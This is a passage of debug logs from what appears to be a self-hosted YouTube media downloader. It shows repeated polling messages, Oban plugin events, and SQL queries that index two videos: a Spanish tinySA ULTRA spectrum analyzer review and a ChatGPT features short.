FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:08:24.650 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1413] 23:08:24.650 [debug] Current batch of media processed. Will check again in 1000ms 23:08:24.735 [debug] Current batch of media processed. Will check again in 1000ms 23:08:25.651 [debug] Current batch of media processed. Will check again in 1000ms 23:08:25.736 [debug] Current batch of media processed. Will check again in 1000ms 23:08:26.652 [debug] Current batch of media processed. Will check again in 1000ms 23:08:26.737 [debug] Current batch of media processed. Will check again in 1000ms 23:08:27.653 [debug] Current batch of media processed. Will check again in 1000ms 23:08:27.738 [debug] Current batch of media processed. Will check again in 1000ms 23:08:28.654 [debug] Current batch of media processed. Will check again in 1000ms 23:08:28.739 [debug] Current batch of media processed. Will check again in 1000ms 23:08:29.655 [debug] Current batch of media processed. Will check again in 1000ms 23:08:29.740 [debug] Current batch of media processed. Will check again in 1000ms 23:08:30.656 [debug] Current batch of media processed. Will check again in 1000ms 23:08:30.741 [debug] Current batch of media processed. Will check again in 1000ms 23:08:31.657 [debug] Current batch of media processed. Will check again in 1000ms 23:08:31.742 [debug] Current batch of media processed. Will check again in 1000ms 23:08:32.658 [debug] Current batch of media processed. Will check again in 1000ms 23:08:32.743 [debug] Current batch of media processed. Will check again in 1000ms 23:08:33.659 [debug] Current batch of media processed. Will check again in 1000ms 23:08:33.744 [debug] Current batch of media processed. Will check again in 1000ms 23:08:34.660 [debug] Current batch of media processed. Will check again in 1000ms 23:08:34.745 [debug] Current batch of media processed. Will check again in 1000ms 23:08:35.661 [debug] Current batch of media processed. Will check again in 1000ms 23:08:35.746 [debug] Current batch of media processed. Will check again in 1000ms 23:08:36.662 [debug] Current batch of media processed. Will check again in 1000ms 23:08:36.747 [debug] Current batch of media processed. Will check again in 1000ms 23:08:37.663 [debug] Current batch of media processed. Will check again in 1000ms 23:08:37.748 [debug] Current batch of media processed. Will check again in 1000ms 23:08:38.664 [debug] Current batch of media processed. Will check again in 1000ms 23:08:38.749 [debug] Current batch of media processed. Will check again in 1000ms 23:08:39.665 [debug] Current batch of media processed. Will check again in 1000ms 23:08:39.750 [debug] Current batch of media processed. Will check again in 1000ms 23:08:40.666 [debug] Current batch of media processed. Will check again in 1000ms 23:08:40.751 [debug] Current batch of media processed. Will check again in 1000ms 23:08:41.667 [debug] Current batch of media processed. Will check again in 1000ms 23:08:41.752 [debug] Current batch of media processed. Will check again in 1000ms 23:08:42.668 [debug] Current batch of media processed. Will check again in 1000ms 23:08:42.753 [debug] Current batch of media processed. Will check again in 1000ms 23:08:43.669 [debug] Current batch of media processed. Will check again in 1000ms 23:08:43.754 [debug] Current batch of media processed. Will check again in 1000ms 23:08:44.670 [debug] Current batch of media processed. Will check again in 1000ms 23:08:44.755 [debug] Current batch of media processed. Will check again in 1000ms 23:08:45.671 [debug] Current batch of media processed. Will check again in 1000ms 23:08:45.756 [debug] Current batch of media processed. Will check again in 1000ms 23:08:46.672 [debug] Current batch of media processed. Will check again in 1000ms 23:08:46.757 [debug] Current batch of media processed. Will check again in 1000ms 23:08:47.673 [debug] Current batch of media processed. Will check again in 1000ms 23:08:47.758 [debug] Current batch of media processed. Will check again in 1000ms 23:08:48.674 [debug] Current batch of media processed. Will check again in 1000ms 23:08:48.759 [debug] Current batch of media processed. Will check again in 1000ms 23:08:49.675 [debug] Current batch of media processed. Will check again in 1000ms 23:08:49.760 [debug] Current batch of media processed. Will check again in 1000ms 23:08:50.676 [debug] Current batch of media processed. Will check again in 1000ms 23:08:50.761 [debug] Current batch of media processed. Will check again in 1000ms 23:08:51.350 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:51.678 [debug] Current batch of media processed. Will check again in 1000ms 23:08:51.762 [debug] Current batch of media processed. Will check again in 1000ms 23:08:52.678 [debug] Current batch of media processed. Will check again in 1000ms 23:08:52.764 [debug] Current batch of media processed. Will check again in 1000ms 23:08:53.679 [debug] Current batch of media processed. Will check again in 1000ms 23:08:53.764 [debug] Current batch of media processed. Will check again in 1000ms 23:08:54.680 [debug] Current batch of media processed. Will check again in 1000ms 23:08:54.765 [debug] Current batch of media processed. Will check again in 1000ms 23:08:55.681 [debug] Current batch of media processed. Will check again in 1000ms 23:08:55.766 [debug] Current batch of media processed. Will check again in 1000ms 23:08:56.682 [debug] Current batch of media processed. Will check again in 1000ms 23:08:56.767 [debug] Current batch of media processed. Will check again in 1000ms 23:08:57.683 [debug] Current batch of media processed. Will check again in 1000ms 23:08:57.768 [debug] Current batch of media processed. Will check again in 1000ms 23:08:58.684 [debug] Current batch of media processed. Will check again in 1000ms 23:08:58.769 [debug] Current batch of media processed. Will check again in 1000ms 23:08:59.685 [debug] Current batch of media processed. Will check again in 1000ms 23:08:59.770 [debug] Current batch of media processed. Will check again in 1000ms 23:09:00.152 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:00.686 [debug] Current batch of media processed. Will check again in 1000ms 23:09:00.771 [debug] Current batch of media processed. Will check again in 1000ms 23:09:01.687 [debug] Current batch of media processed. Will check again in 1000ms 23:09:01.772 [debug] Current batch of media processed. Will check again in 1000ms 23:09:02.688 [debug] Current batch of media processed. Will check again in 1000ms 23:09:02.773 [debug] Current batch of media processed. Will check again in 1000ms 23:09:03.689 [debug] Current batch of media processed. Will check again in 1000ms 23:09:03.774 [debug] Current batch of media processed. Will check again in 1000ms 23:09:04.690 [debug] Current batch of media processed. Will check again in 1000ms 23:09:04.775 [debug] Current batch of media processed. Will check again in 1000ms 23:09:05.691 [debug] Current batch of media processed. Will check again in 1000ms 23:09:05.777 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Presentamos el nuevo tinySA ULTRA, la evolución del tinySA que ya conocíamos. Un analizador de espectro de 0.1 a 800 Mhz (con modo ULTRA hasta 6 Ghz).\n\n#tinysaultra #tinysa #analizadorespectro #hamradio #diyelectronics #makers #radioaficionados #laboratorio \n---------------- Contenido del video ------------------\n00:00 - Presentación\n01:17 - Intro canal\n01:34 - El nuevo tinySA ULTRA\n03:00 - Viejo y nuevo tinySA\n14:59 - Activando modo ULTRA\n16:12 - Ver canales Wifi\n20:52 - Escuchando RF\n23:41 - Generador de señales\n26:09 - En la caja...\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1800, "filename" => "/downloads/music/ea3grn/097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA.m4a", "id" => "jG7HlYjd9Sg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jG7HlYjd9Sg", "playlist_index" => 84, "timestamp" => 1675356951, "title" => "097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA", "upload_date" => "20230202"} 23:09:05.778 [debug] QUERY OK source="sources" db=0.7ms idle=1990.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:09:05.780 [debug] QUERY OK source="sources" db=0.6ms idle=1992.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:09:05.781 [debug] QUERY OK source="media_items" db=0.6ms idle=1993.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-02 16:55:51Z], 3] 23:09:05.785 [debug] QUERY OK source="media_items" db=3.1ms queue=0.2ms idle=1362.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Presentamos el nuevo tinySA ULTRA, la evolución del tinySA que ya conocíamos. Un analizador de espectro de 0.1 a 800 Mhz (con modo ULTRA hasta 6 Ghz).\n\n#tinysaultra #tinysa #analizadorespectro #hamradio #diyelectronics #makers #radioaficionados #laboratorio \n---------------- Contenido del video ------------------\n00:00 - Presentación\n01:17 - Intro canal\n01:34 - El nuevo tinySA ULTRA\n03:00 - Viejo y nuevo tinySA\n14:59 - Activando modo ULTRA\n16:12 - Ver canales Wifi\n20:52 - Escuchando RF\n23:41 - Generador de señales\n26:09 - En la caja...\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA", "e760a231-ab5e-42e2-870a-1d63f744a323", 1800, false, "jG7HlYjd9Sg", "https://www.youtube.com/watch?v=jG7HlYjd9Sg", 84, "/downloads/music/ea3grn/097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA.m4a", false, false, false, 3, [], 98, ~U[2023-02-02 16:55:51Z], ~U[2026-02-07 22:09:05Z], ~U[2026-02-07 22:09:05Z], "Presentamos el nuevo tinySA ULTRA, la evolución del tinySA que ya conocíamos. Un analizador de espectro de 0.1 a 800 Mhz (con modo ULTRA hasta 6 Ghz).\n\n#tinysaultra #tinysa #analizadorespectro #hamradio #diyelectronics #makers #radioaficionados #laboratorio \n---------------- Contenido del video ------------------\n00:00 - Presentación\n01:17 - Intro canal\n01:34 - El nuevo tinySA ULTRA\n03:00 - Viejo y nuevo tinySA\n14:59 - Activando modo ULTRA\n16:12 - Ver canales Wifi\n20:52 - Escuchando RF\n23:41 - Generador de señales\n26:09 - En la caja...\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA", 1800, false, "jG7HlYjd9Sg", "https://www.youtube.com/watch?v=jG7HlYjd9Sg", "/downloads/music/ea3grn/097 - UNBOXING Y REVISION DEL ANALIZADOR DE ESPECTRO TINYSA ULTRA.m4a", false, 3, ~U[2023-02-02 16:55:51Z]] 23:09:05.786 [debug] QUERY OK source="sources" db=0.5ms idle=364.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:09:05.787 [debug] QUERY OK source="media_profiles" db=0.6ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:09:05.787 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1475] 23:09:05.788 [debug] Current batch of media processed. Will check again in 1000ms 23:09:06.692 [debug] Current batch of media processed. Will check again in 1000ms 23:09:06.788 [debug] Current batch of media processed. Will check again in 1000ms 23:09:07.694 [debug] Current batch of media processed. Will check again in 1000ms 23:09:07.789 [debug] Current batch of media processed. Will check again in 1000ms 23:09:08.694 [debug] Current batch of media processed. Will check again in 1000ms 23:09:08.790 [debug] Current batch of media processed. Will check again in 1000ms 23:09:09.695 [debug] Current batch of media processed. Will check again in 1000ms 23:09:09.791 [debug] Current batch of media processed. Will check again in 1000ms 23:09:10.696 [debug] Current batch of media processed. Will check again in 1000ms 23:09:10.792 [debug] Current batch of media processed. Will check again in 1000ms 23:09:11.697 [debug] Current batch of media processed. Will check again in 1000ms 23:09:11.793 [debug] Current batch of media processed. Will check again in 1000ms 23:09:12.698 [debug] Current batch of media processed. Will check again in 1000ms 23:09:12.794 [debug] Current batch of media processed. Will check again in 1000ms 23:09:13.699 [debug] Current batch of media processed. Will check again in 1000ms 23:09:13.795 [debug] Current batch of media processed. Will check again in 1000ms 23:09:14.700 [debug] Current batch of media processed. Will check again in 1000ms 23:09:14.796 [debug] Current batch of media processed. Will check again in 1000ms 23:09:15.701 [debug] Current batch of media processed. Will check again in 1000ms 23:09:15.797 [debug] Current batch of media processed. Will check again in 1000ms 23:09:16.702 [debug] Current batch of media processed. Will check again in 1000ms 23:09:16.798 [debug] Current batch of media processed. Will check again in 1000ms 23:09:17.703 [debug] Current batch of media processed. Will check again in 1000ms 23:09:17.799 [debug] Current batch of media processed. Will check again in 1000ms 23:09:18.704 [debug] Current batch of media processed. Will check again in 1000ms 23:09:18.800 [debug] Current batch of media processed. Will check again in 1000ms 23:09:19.705 [debug] Current batch of media processed. Will check again in 1000ms 23:09:19.801 [debug] Current batch of media processed. Will check again in 1000ms 23:09:20.706 [debug] Current batch of media processed. Will check again in 1000ms 23:09:20.802 [debug] Current batch of media processed. Will check again in 1000ms 23:09:21.352 [info] {"source":"oban","duration":1788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:21.707 [debug] Current batch of media processed. Will check again in 1000ms 23:09:21.803 [debug] Current batch of media processed. Will check again in 1000ms 23:09:22.709 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 7: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las potentes herramientas de ChatGPT, centrándonos en Lienzo y Deep Research. Exploraremos cómo estas herramientas clave, como Lienzo, pueden transformar tu experiencia. ¡Aprende sobre las variaciones de precio según el uso de herramientas en las versiones de pago! #ChatGPT #Lienzo #DeepResearch #HerramientasIA #InteligenciaArtificial #TutorialChatGPT #InnovaciónTecnológica #Productividad #IAEspañol #Tecnología", "duration" => 50, "filename" => "/downloads/music/IA mí QUÉ/¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí.m4a", "id" => "PQJzxTa5zk8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/PQJzxTa5zk8", "playlist_index" => 28, "timestamp" => 1746830911, "title" => "¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí", "upload_date" => "20250509"} 23:09:22.710 [debug] QUERY OK source="sources" db=0.6ms idle=1922.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:09:22.713 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1359.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:09:22.714 [debug] QUERY OK source="media_items" db=0.6ms idle=1248.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 22:48:31Z], 2] 23:09:22.715 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=927.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 7: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las potentes herramientas de ChatGPT, centrándonos en Lienzo y Deep Research. Exploraremos cómo estas herramientas clave, como Lienzo, pueden transformar tu experiencia. ¡Aprende sobre las variaciones de precio según el uso de herramientas en las versiones de pago! #ChatGPT #Lienzo #DeepResearch #HerramientasIA #InteligenciaArtificial #TutorialChatGPT #InnovaciónTecnológica #Productividad #IAEspañol #Tecnología", "¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí", "c7a0254a-301e-48f3-b878-df506a033d1d", 50, false, "PQJzxTa5zk8", "https://www.youtube.com/shorts/PQJzxTa5zk8", 28, "/downloads/music/IA mí QUÉ/¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí.m4a", false, false, true, 2, [], 91, ~U[2025-05-09 22:48:31Z], ~U[2026-02-07 22:09:22Z], ~U[2026-02-07 22:09:22Z], "PARTE 7: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las potentes herramientas de ChatGPT, centrándonos en Lienzo y Deep Research. Exploraremos cómo estas herramientas clave, como Lienzo, pueden transformar tu experiencia. ¡Aprende sobre las variaciones de precio según el uso de herramientas en las versiones de pago! #ChatGPT #Lienzo #DeepResearch #HerramientasIA #InteligenciaArtificial #TutorialChatGPT #InnovaciónTecnológica #Productividad #IAEspañol #Tecnología", "¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí", 50, false, "PQJzxTa5zk8", "https://www.youtube.com/shorts/PQJzxTa5zk8", "/downloads/music/IA mí QUÉ/¡ChatGPT Revelado! Lienzo y Deep Research: El Secreto Está Aquí.m4a", true, 2, ~U[2025-05-09 22:48:31Z]] 23:09:22.716 [debug] QUERY OK source="sources" db=0.5ms idle=249.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:09:22.717 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:09:22.718 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1415] 23:09:22.718 [debug] Current batch of media processed. Will check again in 1000ms 23:09:22.804 [debug] Current batch of media processed. Will check again in 1000ms 23:09:23.719 [debug] Current batch of media processed. Will check again in 1000ms 23:09:23.805 [debug] Current batch of media processed. Will check again in 1000ms 23:09:24.720 [debug] Current batch of media processed. Will check again in 1000ms 23:09:24.806 [debug] Current batch of media processed. Will check again in 1000ms 23:09:25.721 [debug] Current batch of media processed. Will check again in 1000ms 23:09:25.807 [debug] Current batch of media processed. Will check again in 1000ms 23:09:26.722 [debug] Current batch of media processed. Will check again in 1000ms 23:09:26.808 [debug] Current batch of media processed. Will check again in 1000ms 23:09:27.723 [debug] Current batch of media processed. Will check again in 1000ms 23:09:27.809 [debug] Current batch of media processed. Will check again in 1000ms 23:09:28.724 [debug] Current batch of media processed. Will check again in 1000ms 23:09:28.810 [debug] Current batch of media processed. Will check again in 1000ms 23:09:29.725 [debug] Current batch of media processed. Will check again in 1000ms 23:09:29.811 [debug] Current batch of media processed. Will check again in 1000ms 23:09:30.726 [debug] Current batch of media processed. Will check again in 1000ms 23:09:30.812 [debug] Current batch of media processed. Will check again in 1000ms 23:09:31.727 [debug] Current batch of media processed. Will check again in 1000ms 23:09:31.813 [debug] Current batch of media processed. Will check again in 1000ms 23:09:32.728 [debug] Current batch of media processed. Will check again in 1000ms 23:09:32.814 [debug] Current batch of media processed. Will check again in 1000ms 23:09:33.729 [debug] Current batch of media processed. Will check again in 1000ms 23:09:33.815 [debug] Current batch of media processed. Will check again in 1000ms 23:09:34.730 [debug] Current batch of media processed. Will check again in 1000ms 23:09:34.816 [debug] Current batch of media processed. Will check again in 1000ms 23:09:35.731 [debug] Current batch of media processed. Will check again in 1000ms 23:09:35.817 [debug] Current batch of media processed. Will check again in 1000ms 23:09:36.732 [debug] Current batch of media processed. Will check again in 1000ms 23:09:36.818 [debug] Current batch of media processed. Will check again in 1000ms 23:09:37.733 [debug] Current batch of media processed. Will check again in 1000ms 23:09:37.819 [debug] Current batch of media processed. Will check again in 1000ms 23:09:38.734 [debug] Current batch of media processed. Will check again in 1000ms 23:09:38.820 [debug] Current batch of media processed. Will check again in 1000ms 23:09:39.735 [debug] Current batch of media processed. Will check again in 1000ms 23:09:39.821 [debug] Current batch of media processed. Will check again in 1000ms 23:09:40.736 [debug] Current batch of media processed. Will check again in 1000ms 23:09:40.822 [debug] Current batch of media processed. Will check again in 1000ms 23:09:41.737 [debug] Current batch of media processed. Will check again in 1000ms 23:09:41.823 [debug] Current batch of media processed. Will check again in 1000ms 23:09:42.738 [debug] Current batch of media processed. Will check again in 1000ms 23:09:42.824 [debug] Current batch of media processed. Will check again in 1000ms 23:09:43.739 [debug] Current batch of media processed. Will check again in 1000ms 23:09:43.825 [debug] Current batch of media processed. Will check again in 1000ms 23:09:44.740 [debug] Current batch of media processed. Will check again in 1000ms 23:09:44.826 [debug] Current batch of media processed. Will check again in 1000ms 23:09:45.741 [debug] Current batch of media processed. Will check again in 1000ms 23:09:45.827 [debug] Current batch of media processed. Will check again in 1000ms 23:09:46.746 [debug] Current batch of media processed. Will check again in 1000ms 23:09:46.828 [debug] Current batch of media processed. Will check again in 1000ms 23:09:47.753 [debug] Current batch of media processed. Will check again in 1000ms 23:09:47.829 [debug] Current batch of media processed. Will check again in 1000ms 23:09:48.754 [debug] Current batch of media processed. Will check again in 1000ms 23:09:48.830 [debug] Current batch of media processed. Will check again in 1000ms 23:09:49.755 [debug] Current batch of media processed. Will check again in 1000ms 23:09:49.831 [debug] Current batch of media processed. Will check again in 1000ms 23:09:50.756 [debug] Current batch of media processed. Will check again in 1000ms 23:09:50.832 [debug] Current batch of media processed. Will check again in 1000ms 23:09:51.355 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:51.757 [debug] Current batch of media processed. Will check again in 1000ms 23:09:51.833 [debug] Current batch of media processed. Will check again in 1000ms 23:09:52.758 [debug] Current batch of media processed. Will check again in 1000ms 23:09:52.834 [debug] Current batch of media processed. Will check again in 1000ms 23:09:53.759 [debug] Current batch of media processed. Will check again in 1000ms 23:09:53.835 [debug] Current batch of media processed. Will check again in 1000ms 23:09:54.760 [debug] Current batch of media processed. Will check again in 1000ms 23:09:54.836 [debug] Current batch of media processed. Will check again in 1000ms 23:09:55.761 [debug] Current batch of media processed. Will check again in 1000ms 23:09:55.837 [debug] Current batch of media processed. Will check again in 1000ms 23:09:56.762 [debug] Current batch of media 